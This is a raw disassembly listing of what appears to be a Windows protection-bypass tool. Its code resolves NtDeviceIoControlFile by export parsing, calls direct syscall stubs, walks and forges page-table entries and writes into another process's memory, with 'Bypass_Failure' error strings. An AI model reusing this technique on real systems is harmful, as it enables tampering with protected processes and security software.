call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x174]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x174], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0xb8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x238]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x174]
lea r9, [rbp + 0x174]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140090692
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0xd0]
test rbx, rbx
je 0x140090692
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14008fbb7
cmp word [rax], r14w
jne 0x14008fbb7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14008fbb7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14008fbb7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14008fbb7
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008f9f4
inc rdi
cmp rdi, r15
jb 0x14008f9d0
jmp 0x14008fbb7
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14008fbb7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14008fbb7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x162c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x14f40]
call fcn.1400be1b0
lea rcx, [rbp + 0x14f40]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x14f40]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008fa90
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x170]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x170], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0xb8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xb8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x170]
lea r9, [rbp + 0x170]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140090692
test bl, 1
je 0x140090692
movzx eax, bl
shr al, 7
test al, 1
je 0x14008fbe4
mov rcx, qword [rsp + 0x68]
movabs rax, 0x3ffffffe00000
and ecx, 0x1fffff
jmp 0x140090129
mov rax, qword [rsp + 0x68]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp - 0x10], 0
xor edx, edx
mov qword [rbp - 8], 0
xorps xmm0, xmm0
mov qword [rbp], 0
movups xmmword [rbp + 0x210], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp - 0x20], 8
mov qword [rbp - 0x18], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14008fe96
cmp word [rax], r14w
jne 0x14008fe96
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14008fe96
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14008fe96
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14008fe90
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14008fce3
inc rbx
cmp rbx, r14
jb 0x14008fcc0
jmp 0x14008fe90
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14008fe90
mov esi, dword [rcx + 4]
test esi, esi
js 0x14008fe90
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x17654], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x162d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x162d0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x162d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x14008fd73
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x16c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x16c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x210]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x16c]
lea r9, [rbp + 0x16c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140090692
mov r14d, 0x5a4d
mov rbx, qword [rbp - 8]
test rbx, rbx
je 0x140090692
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14009010b
cmp word [rax], r14w
jne 0x14009010b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14009010b
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14009010b
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14009010b
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14008ff54
inc rdi
cmp rdi, r15
jb 0x14008ff30
jmp 0x14009010b
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14009010b
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14009010b
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x50e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3d60]
call fcn.1400be1b0
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x3d60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x189f0], rax
inc rdi
cmp rdi, 0x200
jl 0x14008fff0
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x180]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0x180], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x20]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x20]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0x180]
lea r9, [rbp + 0x180]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x140090692
test bl, 1
je 0x140090692
mov rcx, qword [rsp + 0x68]
movabs rax, 0x3fffffffff000
and ecx, 0xfff
and rbx, rax
add rcx, rbx
test rcx, rcx
je 0x140090692
mov rax, rcx
mov qword [rbp - 0x40], rcx
and eax, 0xfff
mov qword [rbp - 0x38], 0
xorps xmm0, xmm0
mov qword [rbp - 0x30], 0
mov r13d, 0x1000
mov qword [rbp - 0x28], 0
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp - 0x68]
mov dword [rsp + 0x50], eax
cmovae r13, qword [rbp - 0x68]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp - 0x48], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x1400903df
cmp word [rax], bx
jne 0x1400903df
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400903df
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400903df
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400903da
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140090226
inc rbx
cmp rbx, r14
jb 0x140090203
jmp 0x1400903da
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400903da
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400903da
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3d54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x29d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400902c0
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x168]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x168], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x168]
lea r9, [rbp + 0x168]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x140090689
mov ebx, 0x5a4d
mov rdx, qword [rbp - 0x30]
test rdx, rdx
je 0x140090689
lea rcx, [rbp + 0x160]
mov r8, r13
add rcx, qword [rbp + 0x1d0]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14009065f
cmp word [rax], bx
jne 0x14009065f
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14009065f
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14009065f
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14009065f
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400904b3
inc rbx
cmp rbx, r14
jb 0x140090490
jmp 0x14009065f
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14009065f
mov esi, dword [rcx + 4]
test esi, esi
js 0x14009065f
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x189f0], rax
inc rbx
cmp rbx, 0x200
jl 0x140090543
mov r8d, 0x1000
lea rdx, [rbp + 0x189f0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x158]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x158], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x158]
lea r9, [rbp + 0x158]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140090689
mov rbx, qword [rbp - 0x68]
mov rax, qword [rbp + 0x1d0]
sub rbx, r13
mov rcx, qword [rsp + 0x58]
add rax, r13
mov qword [rbp - 0x68], rbx
mov qword [rbp + 0x1d0], rax
test rbx, rbx
jne 0x14008eba0
mov rax, qword [rbp + 0x160]
jmp 0x140090694
xor eax, eax
mov rdi, qword [rbp + 0x188]
mov qword [rbp + 0x160], rax
test rdi, rdi
je 0x1400906ac
test rax, rax
jne 0x140090703
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x1
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
xor ecx, ecx
mov edx, 0x1000
mov r8d, edx
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
mov qword [rbp + 0x1a0], rax
mov edx, 0x1000
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualLock]
xor edx, edx
mov r8, rbx
movabs rax, 0xffffc0000000
movabs r9, 0x8000000000000000
nop dword [rax + rax]
mov rcx, rdx
lea r8, [r8 + 8]
shl rcx, 0x1e
inc rdx
and rcx, rax
xor rcx, 0xe7
or rcx, r9
mov qword [r8 - 8], rcx
cmp rdx, 0x200
jb 0x140090750
mov r14, qword [rbp - 0x58]
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x198], rax
mov rbx, rax
test rax, rax
jne 0x1400907fd
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
lea r8d, [rbx + 0xe]
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
lea r8d, [rbx + 0xf]
lea rdx, str.Code:_0x4_:_0x4
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
movabs rcx, 0xfffffffff000
mov dword [rbp + 0x190], 0
and rdi, rcx
mov rax, rbx
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x188], rdi
lea rsi, [rdi + rax*8]
mov qword [rsp + 0x60], rsi
jmp 0x140090847
mov rbx, qword [rbp + 0x198]
xor edx, edx
lea rcx, [rbp + 0x189f0]
mov r8d, 0x1000
call fcn.1401d1c40
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x189f0]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [0x140329cf0]
lea rcx, [0x1401fded8]
mov r13d, dword [0x140322b68]
xor edx, edx
xorps xmm0, xmm0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
lea r8d, [rdx + 1]
mov qword [rbp - 0x40], rsi
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp - 0x48], 8
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140090b07
cmp word [rax], r14w
jne 0x140090b07
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140090b07
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140090b07
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140090b01
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140090954
inc rbx
cmp rbx, r14
jb 0x140090931
jmp 0x140090b01
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140090b01
mov edi, dword [rcx + 4]
test edi, edi
js 0x140090b01
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x29c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1640]
call fcn.1400be1b0
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
lea rcx, [rbp + 0x1640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400909e4
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x158]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x158], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1f8]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x158]
lea r9, [rbp + 0x158]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140091d95
mov r14d, 0x5a4d
mov rbx, qword [rbp - 0x30]
test rbx, rbx
je 0x140091d95
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140090d80
cmp word [rax], r14w
jne 0x140090d80
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140090d80
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140090d80
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140090d80
nop dword [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140090bc4
inc rdi
cmp rdi, r15
jb 0x140090ba0
jmp 0x140090d80
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140090d80
mov esi, dword [rcx + 4]
test esi, esi
js 0x140090d80
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3d54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x29d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x2b0], rax
inc rdi
cmp rdi, 0x200
jl 0x140090c60
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x168]
movsd qword [rdi], xmm0
